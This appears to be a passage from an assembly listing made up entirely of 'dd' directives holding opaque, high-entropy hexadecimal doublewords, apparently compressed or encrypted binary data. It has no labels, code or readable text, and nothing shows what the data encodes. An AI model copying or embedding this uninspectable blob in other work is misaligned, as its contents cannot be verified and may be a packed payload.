		dd 114000B4h, 31577242h, 43F8484Dh, 9729863Ch, 0F3002625h
		dd 544CF20h, 0B3850266h, 7C080C2Ch, 3B4C980h, 2B1F4BD6h
		dd 0B0000A60h, 0C8022E18h, 3F800F06h, 0DC01353h, 2008101Ah
		dd 4AA64126h, 3ED0003Fh, 2440D848h, 0C2790950h,	38805F86h
		dd 8E0E7412h, 28824C01h, 0C780D231h, 0F7E2C8h, 4101028Ah
		dd 0F686140Bh, 7570E000h, 0DE3C58F2h, 7637723Ah, 3378F7h
		dd 801F7BCDh, 44470FF8h, 73C6F600h, 0A3A5275h, 0E6B37740h
		dd 54D30F20h, 5C401460h
		dd 612BC889h, 817A4400h, 586A07E2h, 0F0C43FE4h,	781CC91Ch
		dd 40CEDC60h, 1001DF6h,	10B77538h, 1C9EBA3h, 39F00A7Bh
		dd 0ECC156CCh, 0BC00FA04h, 869460A0h, 0EDEF69Dh, 3FAC8313h
		dd 0D089AD00h, 807DCDEBh, 0A8201E00h, 0EA7D901h, 0A2F10021h
		dd 0CF02F2F0h, 0AC3910B8h, 0D06A4A4h, 1A24D904h, 669CFA81h
		dd 7397B0FBh, 0C4883C05h, 0E072500h, 0F62FCA5h,	0EA7B8401h
		dd 2F2985FAh, 0E0499F0h, 0E03906ADh, 32C30720h,	172C7440h
		dd 1739997Ah, 74126601h, 0D9075913h, 804B49BFh,	5BBCE94Bh
		dd 0A41002EBh, 6143536h, 222AD880h, 480FC8EDh, 0A0026433h
		dd 0BD105CCBh, 0E8E00B70h, 9407A326h, 2A271FC4h, 3E45A01Bh
		dd 5500A98Fh, 0D84BC179h, 0DFBBF3h, 0CED2031Fh,	0F25B64BEh
		dd 0BCC45424h, 791B200h, 4A0250h, 18066C74h, 3FEB2880h
		dd 1D8D3700h, 0FFEEB90Ah, 91FCE340h, 0CB3104E8h, 0C0EB7460h
		dd 362C13E9h, 230311E8h, 5BD24C30h, 0B0E8A097h,	5A8A098h
		dd 0D4370734h, 20358BB2h, 0EC0DC402h, 318E800h,	3C836F11h
		dd 0B91200A1h, 0B1437194h, 76003689h, 0C2230FC0h, 0FF4BA14h
		dd 0ACFE2F70h, 1588E200h, 32003A8Bh, 809DA2C8h,	49A03Dh
		dd 0ECA11A74h, 509E5CB9h, 32872900h, 0FF10280Ch, 81A60015h
		dd 5854C35Eh, 2000B22Ch, 5FB7DA36h, 3E94099Ah, 5EE09332h
		dd 83F07072h, 0E224B90Fh, 34801E1Ch, 5A7CA63Eh,	0AEF90312h
		dd 1BCD0854h, 0CA27F8E8h, 6AF59004h, 0BB878405h, 0B464FCE0h
		dd 0E0C3C72h, 0B844007Bh, 0C0507076h, 171EB4Ch,	8C66C700h
		dd 8304A8D8h, 0EAE90010h, 0C3FA3265h, 0E5005E75h, 186C644Bh
		dd 6288E8h, 98580F1Ah, 28682BF8h, 54059A0Eh, 66007C8Fh
		dd 20CD02EBh, 2D500E89h, 2098C75Fh, 1E00A2D7h, 9A84B58Ch
		dd 0EC3EAh, 4647BE66h, 4A4DBF83h, 0E81A0700h, 57ECF391h
		dd 81C32C69h, 7422097Ah, 0B5408300h, 0C0010A6Ch, 38F640Ch
		dd 3DDCD0BAh, 5CC10042h, 525051C3h, 8807EE66h, 942C4AE9h
		dd 0DF2D62D0h, 0BE5C0021h, 9EB0734Bh, 0AC3C6942h, 0F25850h
		dd 0E23B358Dh, 0FA01318Eh, 3463007Fh, 0D7EE56AAh, 3600A5B7h
		dd 0C67835Ah, 91D6F2h, 9A65E28Bh, 9F480DE0h, 0B3805107h
		dd 0D9250F4Ch, 2ED778C0h, 0C31328C0h, 0F99D00EDh, 434907D0h
		dd 0A650545h, 0C4C34E04h, 0E0158B0Bh, 0EA5657h,	3685944h
		dd 30058B64h, 3C148500h, 421904F2h, 0C4080F02h,	4B80A829h
		dd 96E88031h, 0AEE79404h, 0E7855491h, 0B27862C0h, 1859005Eh
		dd 0FE6A8B29h, 2713ABDh, 8624FF00h, 27C067C7h, 33CB0E68h
		dd 88091DBh, 0E8507417h, 62005AFCh, 0F207E688h,	97D36Bh
		dd 51759BB4h, 1457C922h, 0A2199513h, 0FBEE12h, 4CBBD4DEh
		dd 600F713h, 560B245Bh,	1CCB3A73h, 9F92EBA7h, 403B1F3Dh
		dd 5C6ABA0Ah, 3501FF4Fh, 93E1AA2Ch, 768006A6h, 8FB6751Bh
		dd 503AC297h, 11EC805Fh, 3CF40E61h, 582F0064h, 74C1487Fh
		dd 80FAB89Fh, 0FB4F7D00h, 9536D0D6h, 1E40087h, 2410497h
		dd 0F5162575h, 0C702F45Dh, 409AFC54h, 0EB4599h,	0F97C1A18h
		dd 8A850B0Ch, 0AA1E017Bh, 8D402E59h, 68EC552Dh,	57B3004Fh
		dd 0E2AEC583h, 343E1215h, 0F6D2AC75h, 0D840501Dh, 4C32FFB3h
		dd 8A60083h, 962E5CF6h,	8EF87193h, 221FEC7Ah, 0B44F4175h
		dd 2B3960E4h, 705F1BC2h, 0EF8F17Ch, 83F41D11h, 16158EA2h
		dd 784C2DC0h, 80005C4Ah, 58053B09h, 0EE7EBDD2h,	95043D28h
		dd 0EFEB0B92h, 0CADF1905h, 0A8963BC0h, 424B01D7h, 153B1249h
		dd 0E10EF0A5h, 683C7700h, 2E855274h, 7FD70059h,	756E8441h
		dd 8006604h, 4A92BE69h,	0E26B5B10h, 0F313E2E2h,	19C4B8DDh
		dd 2C874C76h, 2078840Eh, 0F4285E4h, 97801F10h, 41B42C3Dh
		dd 18BC16AEh, 45AC00BFh, 6E756F46h, 904F6400h, 0C27288Ah
		dd 0B1383EFFh, 96BD7800h, 50101560h, 5CBF5300h,	0FD702FC9h
		dd 1A0B00A0h, 0AB4C0503h, 1500CA8Ah, 121F71D1h,	2B50296h
		dd 89F4F287h, 0CAC00D14h, 680084E9h, 0A177EA90h, 490894h
		dd 143EA259h, 0A30C6674h, 314F300Eh, 1F35CFBDh,	50222C00h
		dd 166856h, 510EF57Ah, 0A0ED7E44h, 0B5022AB0h, 50093195h
		dd 32836068h, 0DB5D0303h, 0A559974h, 2EB20400h,	684C2B7Ah
		dd 13D7614h, 66400885h,	0CCA8D753h, 5C6761EDh, 0ACC01C20h
		dd 6F05065h, 62E1B857h,	1E00A03Ah, 6A04C80Eh, 3C8B421Ch
		dd 1B808980h, 472052D4h, 123B9028h, 9734CFAh, 0A94CFh
		dd 53BE23F0h, 85E0058h,	862A840Ch, 0F107B878h, 0A33C201Dh
		dd 3410801Fh, 5CD6490h,	364911A1h, 24810FA8h, 5B382C00h
		dd 5F0265D4h, 44BD2953h, 96C320h, 0B73490CAh, 72D652A8h
		dd 789CF800h, 0C1E5278Dh, 4CAAA012h, 0F613B888h, 0EC3700BEh
		dd 9075DBD5h, 741DCBF0h, 40036244h, 0D77C8B52h,	0AB782AB0h
		dd 0D7A70397h, 0CCD8A504h, 509D0C90h, 53710300h, 82FB37D6h
		dd 562E003Eh, 75662F0Fh, 54003BAAh, 0E0D63A90h,	0D7BC5Bh
		dd 0A1AAC9Fh, 4410044Fh, 0B34C8F00h, 0FE91C690h, 0EADCE9ADh
		dd 0B8323D60h, 0E6B90380h, 69283013h, 0F35FA401h, 25FF3BABh
		dd 6103D0CBh, 1CA70090h, 49E4491h, 34F66A71h, 0C028BB75h
		dd 0C6FCE7A1h, 0FBCD8204h, 81C00B21h, 79747C02h, 0A72E092Ah
		dd 3E833807h, 0B91570Dh, 0FB77001h, 80041D3Bh, 0DDCA0A89h
		dd 1C3AFB7Ah, 0C08DB370h, 0B979B528h, 0D8038BE2h, 0EBCE5798h
		dd 7E2BE87Ch, 384F0008h, 0C7060317h, 0D70096B5h, 885444A6h
		dd 2901164h, 2135E6Ch, 894193ADh, 0CF9BF0FDh, 0CB281D04h
		dd 32805D55h, 0BC035Ah,	5E6D9FD4h, 83D7E1D3h, 28AFEA00h
		dd 0B73B677Ch, 2D0E74C5h, 3AF03659h, 7720C00h, 0A8C37581h
		dd 31A500F3h, 0FDF9C6F8h, 5300707Eh, 0E98A5A77h, 0EF92A2h
		dd 0F23A2C29h, 0F8109C65h, 51541700h, 8A87C545h, 0D37BB4h
		dd 52FB25D2h, 9264F2C3h, 4B4AFC13h, 694CA600h, 841C10h
		dd 9E5D738Bh, 0F042BF19h, 0C8915500h, 5CCE2A7Ah, 18B91C53h
		dd 35B8315h, 0A3D8FED3h, 0F598E011h, 51A4042Ch,	89ABD00h
		dd 7DB889h, 20A359B0h, 0EC46C4BBh, 45D69300h, 0A78D69BAh
		dd 477F3D4Bh, 0AF5D2F83h, 4CE010ACh, 400051B6h,	0AD427BD8h
		dd 3EB84323h, 508E845Ch, 124080D6h, 0F33B558Dh,	0FFA48326h
		dd 0C8DFC900h, 680A11h,	0AC3EBDF0h, 0D6991401h,	1749FA00h
		dd 0F3458AC0h, 0A6C85CFEh, 16090173h, 28EB2280h, 0E1F7F8C6h
		dd 1F60139h, 88F4328Fh,	5A60F563h, 8721267Ch, 0DC20006Eh
		dd 8056510Bh, 0FC4DEC01h, 977BE983h, 3F876C0h, 0C909DB31h
		dd 78803974h, 3C00AC37h, 817A15E8h, 98427D63h, 0E9D000FEh
		dd 4402701Fh, 0E707EB49h, 72D5068Bh, 8A0D00BEh,	553A16h
		dd 0FAED75F5h, 615097E0h, 0C30045Ch, 5A0689D8h,	2890005Fh
		dd 0B56D7E9h, 42B85BC5h, 0DE1C5525h, 0BD340310h, 0B4EAB309h
		dd 0F87877C1h, 0EC00FCF9h, 0C2B2FFCEh, 0B8901548h, 69F70059h
		dd 1680827h, 2F000BD4h,	41EDCE80h, 152420h, 74664C94h
		dd 1FFD389h, 840F3A00h,	113FA9F4h, 0BFDE0096h, 0CA02A0CCh
		dd 30005308h, 0A30D1C64h, 9105CA5h, 0F34E8218h,	7DBA5080h
		dd 2409D965h, 8B14285Eh, 126D00CFh, 3A551D89h, 0E0835AEDh
		dd 0E9A878F5h, 6952A4F0h, 85C79900h, 77E80810h,	0F2C403AEh
		dd 0F42133DEh, 527D23D0h, 0E2399902h, 405A353Ch, 91A92C9h
		dd 366E194Fh, 16C0D08Fh
		dd 0A3CDF841h, 2134F600h, 0F4107D2Ah, 0C94E00D4h, 0E1665EE3h
		dd 0F900E2B4h, 0F3BE9045h, 5D592F0h, 0ED8B9CB8h, 0AFF7819Bh
		dd 0CB4FF98Fh, 759733A8h, 4FAA5F2h, 0B73A2274h,	84341F1Ch
		dd 0BB38D840h, 3E7C92AEh, 5C00F2FEh, 82EFD7B1h,	0F7031B31h
		dd 24A0E742h, 150A0E8h,	0A798009Dh, 3EBF7DD8h, 0F53F97B4h
		dd 0FC53801Eh, 75A85BAFh, 0A4E300D7h, 886EA79Ch, 0DF7C514Ch
		dd 0B0465A07h, 0ED08087h, 0FAE33C13h, 3D8B002Eh, 833F6052h
		dd 0B80011EFh, 0A608577Ah, 3E210429h, 0A0003A45h, 5FFC07B2h
		dd 0EA096A55h, 87067174h, 85600A53h, 1D33C25Eh,	81F2DD18h
		dd 281536C4h, 0F82CD589h, 0AC907784h, 0D30022FAh, 0A51DE87Eh
		dd 5539D9h, 0A4CFAAACh,	0B6AB362Ah, 4ED25005h, 7BC04B56h
		dd 888CBh, 0C80DF415h, 0C2F0110Ch, 28588D07h, 4540D8D6h
		dd 4495ECh, 6DDB35F6h, 0CF4130D2h, 9D71EB1Fh, 0EAB82280h
		dd 3EAEE3h, 44B4228h, 0AFAF9DFh, 8F6A3F00h, 8A587B9Fh
		dd 54150027h, 0C7642994h, 5B0033A7h, 1E759546h,	15A9Bh
		dd 24871785h, 36FF1491h, 0C306F400h, 8F75D6EAh,	0FA5E004Ah
		dd 85F310D2h, 2400CF3Ch, 93DBE848h, 0C65F49h, 0A73079D7h
		dd 1FB9BF0h, 2B887700h,	317B53BBh, 7557D6Eh, 0F96AB121h
		dd 0D0F84768h, 82F50928h, 29891600h, 9ECF0D45h,	0C001FEC8h
		dd 0B94CB70h, 0CD0099F4h, 517FEF62h, 0A15803h, 0E474B118h
		dd 846C1614h, 4F268BF0h, 0D2001180h, 0AD44C4DDh, 276F3CB7h
		dd 0FC773E00h, 10428EB2h, 0E9894A00h, 931675F2h, 157A25h
		dd 6950C7B1h, 23ABC28Fh, 5D400200h, 53992444h, 0DF785C41h
		dd 0D2F63200h, 0D49B0309h, 864630Fh, 69FF000Bh,	44CFCCh
		dd 0B94B851Ah, 1452965Bh, 0E6BA5600h, 13505358h, 9C780089h
		dd 4AA574F1h, 310229BEh, 8D2A0746h, 45244054h, 37120143h
		dd 3570A985h, 7378F456h, 74160800h, 9CAE0D24h, 9A5E0EE4h
		dd 834023A0h, 0BF42AAA9h, 21D62D00h, 0C5521ACAh, 6A290007h
		dd 0C6644367h, 0CF0034AAh, 5076A3B3h, 3C20614h,	0A6F0997h
		dd 0CAA11A9Ch, 983DF005h, 165C6B7Bh, 15C500E7h,	6EC81D33h
		dd 45ED3D3Bh, 59348200h, 5B782406h, 744A6000h, 63C27A12h
		dd 10771Fh, 64B82D15h, 0E719BB77h, 0B40A7200h, 9427F8FCh
		dd 807100E0h, 3C6C37D2h, 0E20085F5h, 0FB876B8Dh, 0FC097Dh
		dd 0CEFAC922h, 0B39AC574h, 9CD55A00h, 0EF4903E8h, 2B120F5Dh
		dd 0D0944BC7h, 80D7B31Fh, 6D20D429h, 7807431Fh,	94FBA538h
		dd 56E2B800h, 0D25A000Eh, 0E4471019h, 66037488h, 0A1E614C5h
		dd 0F26F935h, 0A8AEB40h, 2851001Ch, 90135D1Dh, 0E200143Ch
		dd 72A0DC24h, 0BF8215B0h, 1EEAAF8h, 28037575h, 835C3C2Ah
		dd 0C076FA2Dh, 50C065h,	2143BE8h, 0D344E7B1h, 0DC199C00h
		dd 921C298Dh, 0A94909D4h, 0EC83A116h, 4EE05DAFh, 3E7EB089h
		dd 33705700h, 3593D588h, 97B50369h, 2C5F256Fh, 2B29C7A8h
		dd 34A1A400h, 525BDB8Ah, 0E391006Eh, 882FB580h,	4200D621h
		dd 0D0396147h, 675B0Ah,	689FC274h, 282D35D2h, 88595D16h
		dd 389E991Ch, 601CA18Fh, 10FAE72Ch, 1E3700F1h, 96303611h
		dd 6800C020h, 80284D53h, 979EA5h, 184FEA8Fh, 0E555012Bh
		dd 0C7521400h, 8BEC04F4h, 947A35h, 0D025608Ah, 9B2341BEh
		dd 9864B600h, 8B16116Ch, 53040748h, 62F5AB7Dh, 9E02368h
		dd 0DF0093F7h, 0D89DBFEDh, 0EAD544FEh, 89AA00A3h, 40191802h
		dd 58001A10h, 32C78E66h, 0B92B16h, 68444260h, 73CA11ACh
		dd 3326040Fh, 5AF9E00Ah, 8E3210h, 89D02B09h, 0E299868Ah
		dd 688BD100h, 98FF85F6h, 0C4C500F7h, 54913CA3h,	41003BEBh
		dd 0A5C70334h, 1DEE6151h, 40AD5708h, 8045A268h,	6C243B33h
		dd 0C0F7B24h, 855E20F8h, 1E12DB9Ch, 0CEB28B61h,	378040A3h
		dd 3DAB0813h, 6F07100h,	0C65C035Dh, 51EB002Fh, 0D9981B7Fh
		dd 0DC3FEA46h, 0C8D200FAh, 0A44B6BE9h, 5E7600B5h, 6240FF38h
		dd 0E800C1C2h, 8474DB42h, 72011Fh, 0A048F723h, 11EB03E9h
		dd 99FCBD07h, 0A1C0C266h, 0FE38019Dh, 90680015h, 0D3BF976Bh
		dd 4B07C837h, 0A91EB06Eh, 142559C0h, 0FCBC015Dh, 0F1D03449h
		dd 0C38D033h, 22E4E21Dh, 6E7DDBC0h, 7E1960Bh, 2F571327h
		dd 51B8E010h, 9E3E18C0h, 21C026Dh, 0E06FE80Bh, 4E1660h
		dd 0BA673021h, 0E52E70A4h, 8CBBE000h, 85340F0Ah, 0E3C001EEh
		dd 22A05CA1h, 18C4D428h, 2052E51Eh, 2B27C880h, 0EFD00Ah
		dd 0BE848D4Fh, 0C7751D83h, 0A5F2D700h, 0FEF40E48h, 67397BE9h
		dd 0A021C80Dh, 5F0B0CA8h, 0D55EECFDh, 4B04E600h, 0B057A384h
		dd 972D00E1h, 70895130h, 94900853h, 5C81B800h, 0EA18212Bh
		dd 4352008Eh, 9747DE1Dh, 95009436h, 0A1F146A9h,	9685502h
		dd 927C86DDh, 0BC210B80h, 563C75FDh, 0C289F3Dh,	0E91EF8C0h
		dd 79ECA419h, 30C700F5h, 0AFAA50BCh, 4C00C641h,	0B82386D6h
		dd 3ACF28h, 6760C5F0h, 169A310Dh, 0FA4FFF26h, 50808303h
		dd 99E8C83Bh, 0CEA0078h, 0FF892EE4h, 88A0877Bh,	0B77DAFF4h
		dd 0B6902501h, 0DADF4CD4h, 0E479B70h, 0D36948B9h, 0B8181B00h
		dd 410578A4h, 0BA1C09A0h, 359ACE80h, 5B30007Dh,	80B81E20h
		dd 85E2E576h, 22B0D00h,	0FFFEC63Dh, 0FD250016h,	0AEB617B4h
		dd 580078C0h, 5E306840h, 1500E87h, 21B3EDEBh, 0F1B28C91h
		dd 0CCD721CBh, 2B005A75h, 6A151F5Ch, 90D4B957h,	3B9607AEh
		dd 677AFACDh, 6D33A0E7h, 8A006AEBh, 1C781532h, 328890Ah
		dd 18452059h, 1DE8F0FBh, 4A7AC7EAh, 80006BF6h, 1CC20978h
		dd 3D1FB80Fh, 0E85F425Bh, 0F82B007Eh, 103D2583h, 0A3750F44h
		dd 6467D462h, 0C71103Ch, 1700EAB9h, 0CBD53E13h,	0BA3B009h
		dd 6167DD1h, 404B5A07h,	0C9250C15h, 3910171Eh, 0B56CE140h
		dd 51B7C4h, 6348921Eh, 82A5083Dh, 8014773Ch, 0E5EB4A17h
		dd 2CE3124Eh, 0E1C399h,	2FE81504h, 3B72DFEEh, 1B29DB1Ch
		dd 0E0A6058Fh, 79B5767Dh, 0FC4400A4h, 7068D9FEh, 0A200854Ch
		dd 2F20D20Bh, 3A8A1Fh, 42C74555h, 0E932BB3Ch, 150C181Dh
		dd 4FCB7A40h, 0ED3AC71h, 0C2C38449h, 37568D80h,	0A1003805h
		dd 0C926486Ch, 2D60E4h,	68301E40h, 8528A0FFh, 0A8B20100h
		dd 0B4D7504Ch, 6BC00ABh, 0CAC13994h, 14003589h,	54886D45h
		dd 2AA450h, 48992FB0h, 0EB89E02Dh, 39E6B00h, 0CB612CCAh
		dd 0FA3D003Bh, 99407422h, 4F1E086Dh, 2B001B93h,	0E78253E3h
		dd 9550247Ah, 3FF30052h, 0FCC8BAB2h, 16F6AD0Fh,	0ACB3C7CBh
		dd 40CC4830h, 29A300A2h, 1D880201h, 17003A8Ch, 28262CB8h
		dd 0A0BD98h, 0BC07C341h, 84CC501Ah, 9CDB4E00h, 635EAFE9h
		dd 2E47AE3h, 0C95A8A26h, 70C3ED7Fh, 5EC0CB98h, 0AC9E2C3Dh
		dd 900480B6h, 5AC02D89h, 98ECCEF6h, 586179F5h, 2008DBDh
		dd 898F0C6Dh, 0FC002938h, 4F63CE5Eh, 0A32630h, 0C273A517h
		dd 25228A6Bh, 0F90068EAh, 0CCEAD723h, 6AFDE6h, 8AE7C928h
		dd 0A581CE09h, 2CE6DA79h, 87170501h, 350304CCh,	0C037C03Bh
		dd 3800E87Fh, 0C7014EBDh, 3F7794h, 0AC9E6C7Bh, 97E548AEh
		dd 68335500h, 720AF2C1h, 0D4C40BC8h, 80D753E7h,	711F1C24h
		dd 766C0012h, 4BBC324Fh, 0A50014D1h, 0C8D8D707h, 6457EAh
		dd 1328F7E4h, 8FCA2443h, 763D2673h, 62960090h, 0AFD394FDh
		dd 0F3010069h, 672710B8h, 0DEFC5B9Ah, 250066F0h, 1904532Dh
		dd 451586h, 96BAB30Eh
		dd 4F52A985h, 1DC2F94Ch, 0B05F07EBh, 7800CA2Ch,	17883CE5h
		dd 5B2F0769h, 203064C0h, 0ADA454A8h, 0B9E5A207h, 8DC71087h
		dd 6E2F8190h, 2D2B00BEh, 0CD3788B0h, 4C025A8Ch,	0CF584A1Ah
		dd 52F080A7h, 0C6F87Bh,	0D1940584h, 4A0F7D44h, 0A30FDBB8h
		dd 0A0A15111h, 0B25D64AFh, 6BDF00A6h, 6A5FD289h, 0D1CE3C5h
		dd 75809B7Eh, 0ECFFF4A2h, 32A7E16h, 64971310h, 12E0ABBDh
		dd 930C74Ch, 0B1C8CC8Dh, 7645002Ch, 8697E23Fh, 2A0013EBh
		dd 52ACF19Fh, 50F9D4h, 0A9837D55h, 0A87A1F6Bh, 0B24248h
		dd 0A7C3DE2Ah, 3C11297h, 0F0072809h, 0C50AEEh, 521502E1h
		dd 0A012DA55h, 8301A6A5h, 9CFF305Ch, 3C1B7BCCh,	7FC1486h
		dd 1CF83101h, 0C21AF052h, 0EA01C1D0h, 0B52C0318h, 0EBE99473h
		dd 0AD5CE0h, 0A549774Bh, 0AE752E08h, 0D65BE900h, 2DAB5612h
		dd 1657824h, 0F85AD836h, 0E43C5EC7h, 0E00B414h,	95FFE843h
		dd 20A889h, 8D5CEA9Bh, 0C8B3A7F6h, 7275C312h, 0C0331FEFh
		dd 11801CA3h, 8474100Bh, 9E7E8C3Bh, 30007958h, 86C3298Ah
		dd 34220064h, 6C2BC187h, 1C00237Fh, 0B393BA8Eh,	3CF5F84Ah
		dd 0F513E5h, 1930F2E8h,	488A3C53h, 6A0012FAh, 0AE16D41Ch
		dd 0D641F8h, 172DF2BCh,	0F7143A03h, 6F88C401h, 10086977h
		dd 7E297Ch, 20C58319h, 0DC7E1C5Ah, 0AAB8C407h, 0A0B0F5D3h
		dd 1F928E08h, 408B7552h, 0D74D2C14h, 0F81FE297h, 87814E10h
		dd 64C10508h, 7256E4h, 0BE13D44Fh, 331C9D54h, 6B007F71h
		dd 0F7E623D3h, 92EB8F0h, 52843CBAh, 10213C87h, 958F90B9h
		dd 91921D0Bh, 80B68B09h, 98048BEFh, 396D39D3h, 0F3D55580h
		dd 523C76B9h, 0DBC0E00h, 510203C4h, 0C23B3E0Ah,	7BD31080h
		dd 40143B0h, 0EB349A1Eh, 0F8E76783h, 14B3CF60h,	8305F898h
		dd 750F00FBh, 0ECCC72B7h, 1982BCEh, 829F3Eh, 1B4A6C84h
		dd 13A2A39Eh, 0B1DC96h,	98957FD2h, 0C80238D4h, 30B4D26Ch
		dd 4201E022h, 34990004h, 8C5F3FB8h, 7E001F0Ch, 9AA2FF24h
		dd 1F49D85h, 0EB0BE4EAh, 0D0A1154Eh, 0F600DA3Bh, 8273E90Dh
		dd 3D6F44h, 0A0B33F4Ah,	6540CE5Bh, 80B9101h, 0E5ADF0D2h
		dd 0F034B7FCh, 0C59C01AEh, 891245D8h, 28CD4098h, 92009A9Dh
		dd 0F529B23Ch, 39CD042h, 0CA6846BFh, 89F8210Dh,	0F1039659h
		dd 0B1C2B0D4h, 6D6FE0EBh, 412607B4h, 0D017D93Ch, 0F4373266h
		dd 0EC99DD00h, 4D7249C8h, 197002FEh, 20A1824Ch,	7E023AE0h
		dd 0B583C700h, 8C2A8D58h, 27230054h, 0F2A5299Fh, 800BAC2h
		dd 0B4A93ADFh, 6BA41Ch,	802DEB43h, 5134C3A6h, 5F60FF01h
		dd 70E0609h, 3E4287D8h,	25010215h, 911F6850h, 0DB83E055h
		dd 2FB97B00h, 567E7ADAh, 0C89C074Dh, 1F5D5CE0h,	38C75060h
		dd 0EFE8588Ah, 5A260D01h, 32205F74h, 15A5B340h,	10240009h
		dd 438D55C1h, 3600352Ah, 19AAA034h, 900D9EFAh, 2C493926h
		dd 44A94603h, 9A984B81h, 0EC0F7D38h, 0E5197515h, 0F38009D4h
		dd 170880h, 2EAF2695h, 4CA7101Ch, 0EC3C2207h, 9F0402Ah
		dd 0C777E8h, 99A152BDh,	0C612B39h, 30500600h, 6BE6AEBCh
		dd 29E00DBh, 0A02174C7h, 0B70B0F1Ah, 80A41840h,	177C610Fh
		dd 160A005Ch, 7EC05FC9h, 0EB0097F4h, 34502CBEh,	5864BBh
		dd 698592A8h, 94A791DBh, 9522721Eh, 8EF6BD80h, 3DD1DDDAh
		dd 8C004BD7h, 2C0806A4h, 89030984h, 55437850h, 0E06AB830h
		dd 2F1D00EEh, 0FCDEC301h, 4000DFCBh, 0B7C766EBh, 0FC0A9E0Ch
		dd 7F484h, 144604DDh, 0A1081DD8h, 0F46F2439h, 0FF00FBFCh
		dd 6DA1876h, 1D8E7F78h,	40CF8B7Bh, 0D04AA613h, 0B300DDFAh
		dd 0B871F7C2h, 1CB4AF4Bh, 3FCC0619h, 4C358B80h,	214A7E64h
		dd 9A07787Ch, 0E8BC5C0Ah, 0F0F87CE0h, 0C54F07B2h, 80477349h
		dd 0ED84B90Dh, 8C7A8616h, 0A1F03400h, 167F425h,	2F2DC55Fh
		dd 0F59E8351h, 6688F405h, 53153707h, 24E57593h,	8B3BB0C0h
		dd 5AF10728h, 0E0609749h, 365D3857h, 3F529B00h,	0CF4404B4h
		dd 0A3EA5Ch, 0B24E944Ah, 21565762h, 0EA73AE00h,	381625C4h
		dd 8F1800D2h, 4267E37h,	920E459Eh, 0C0318E2Fh, 4A0146E1h
		dd 0F2EB004Fh, 511DDA73h, 0C400132Ah, 79642FECh, 81D817h
		dd 0B6B2ACF4h, 2B334DCCh, 54B31D06h, 3BC51E0Ch,	119D211Ah
		dd 89190034h, 0D1AD0868h, 2CA92300h, 4930900Ah,	0D8C10F96h
		dd 7F407E83h, 70687705h, 0E0185E00h, 453020C8h,	28663B40h
		dd 2B344207h, 1525400Ch, 570F12BEh, 0FD23BB8Eh,	0BA9FC783h
		dd 0B745D0C9h, 8FF092h,	0BF06CAB6h, 0C0DE2090h,	0D3FF1E00h
		dd 0BDC8558Dh, 6FC1007Eh, 29CC1317h, 561F6119h,	88000C49h
		dd 35941D55h, 89B0047h,	66929EA4h, 2116739Dh, 3D0029E2h
		dd 97A38289h, 68A200B4h, 579B6C4Ah, 553B9894h, 0B12400CAh
		dd 589C5172h, 3C0F7DEBh, 6A00F277h, 0CE70DD5Ah,	0E23D45AAh
		dd 0D15C00A0h, 0FCF57226h, 3446007Eh, 0DA4714F2h, 0F7F8F424h
		dd 77AA1960h, 2B9AF9h, 0DB99FE45h, 0B86F28AAh, 461B6000h
		dd 0C8D42F20h, 81080025h, 0ED0A2923h, 8CF05290h, 6A71140Bh
		dd 1E43006Dh, 0F1811EAh, 0FCA2E953h, 0A09F13C3h, 88F680A7h
		dd 0E800B0ECh, 66A05F1h, 2413CE5Eh, 0AD6C7Ch, 59A94E82h
		dd 0A20E9048h, 40A14434h, 2058B9A4h, 5EA5008Ah,	0CBAB920Fh
		dd 0DD0124C8h, 52501121h, 25611C18h, 2E745E0h, 0F5289833h
		dd 0DD601D02h, 0F978DD31h, 0F048998h, 820CD054h, 8AD5B080h
		dd 24B70037h, 49E65906h, 630061BFh, 0AE121D58h,	980E4427h
		dd 0E8DE4A4Dh, 0BE870001h, 89DFFBFAh, 0C18500CFh, 151F57FEh
		dd 67008F17h, 0B9EF4548h, 8FC0Bh, 1C5DCAFAh, 3E9E055h
		dd 0A468D900h, 81D4B785h, 0C4900029h, 21718A23h, 38054424h
		dd 5EEE1D0Fh, 0AA1ACBC0h, 0C4AD0064h, 0A5949E51h, 7B1E09FFh
		dd 0F5DE421Ch, 6843AEC0h, 0E1F532Ch, 0A8DBC816h, 0BAD61C61h
		dd 0F12AF024h, 810726FEh, 31400689h, 0DA534540h, 3421001Bh
		dd 381CDE71h, 0F200C485h, 11173C72h, 744C8EEh, 23E2475Ch
		dd 9D13604Ch, 0E54C49E4h, 0B2F1E4Eh, 0BE644AC2h, 84F5403Eh
		dd 4B345C56h, 50B8BB00h, 60318925h, 7327EB00h, 3D80DE04h
		dd 20BA008Ch, 37E805CCh, 8D0093F1h, 10739BC7h, 8B9A0Dh
		dd 5CCDD5C8h, 2E4104E4h, 79656B00h, 0C4D9F5C2h,	0F0723967h
		dd 6C696687h, 5C30F0EBh, 0D0094C0h, 0E0221E75h,	7542320h
		dd 8A53C379h, 70818027h, 9300B57Ah, 9A61F265h, 6ED60Eh
		dd 196D323Eh, 77592B68h, 7DB7BF00h, 0DC25E1Fh, 0D60401C6h
		dd 0C08B4281h, 109560F8h, 5407ECF0h, 49EAAF97h,	8E41D0C0h
		dd 8C8B0380h, 23DD5CF4h, 58D89490h, 52510F00h, 9FB35D2h
		dd 0E68E009Ah, 0A6E9661h, 3000C481h, 604FC319h,	158D13h
		dd 23515092h, 0AD90BC10h, 0A38A900h, 21DFDAEh, 89D838FEh
		dd 0C108071Eh, 14100E0Ch, 207D2016h, 0E09FBE70h, 7A706014h
		dd 0C0A00380h, 910129E0h, 44022290h, 89040300h,	18251505h
		dd 310E214h, 84820636h,	0A9309E2h, 0CB30BA3h, 0ED30DC3h
		dd 10F30FE3h, 80A711F1h, 51C1124Eh, 0E56D18Bh, 5780882Eh
		dd 44A3900h, 53063572h,	0A09DF8BEh, 188A00B8h, 5C882840h
		dd 0AA009CADh, 5808420Bh, 0E6D8B7CBh, 318107EEh, 0E04FFFE7h
		dd 47AFCC7h, 0FE031B00h, 5CD72F89h, 783B6014h, 9A0FD273h
		dd 27017279h, 0CE2B1080h, 70D4E8D3h, 790101A4h,	9125CF37h
		dd 0B9803E0Ch, 896182h
		dd 0B5595E3Eh, 32DC1F6Ah, 7FC0AD1Fh, 0EBBC8100h, 7911ABBh
		dd 17410D88h, 8C1E6082h, 29000525h, 2402D6F8h, 0C82D66h
		dd 505553B4h, 22579856h, 0F00FB901h, 612EA2AAh,	0B89D8DE0h
		dd 0F6810054h, 0BC8BABF3h, 3E00E92Fh, 0F4EE3B13h, 5E76F0h
		dd 5A8FD15h, 8C5C8B38h,	4CFC831Ch, 40430800h, 6089C53Bh
		dd 0B9EBE819h, 0D006117h, 0F7282474h, 7440698h,	62336815h
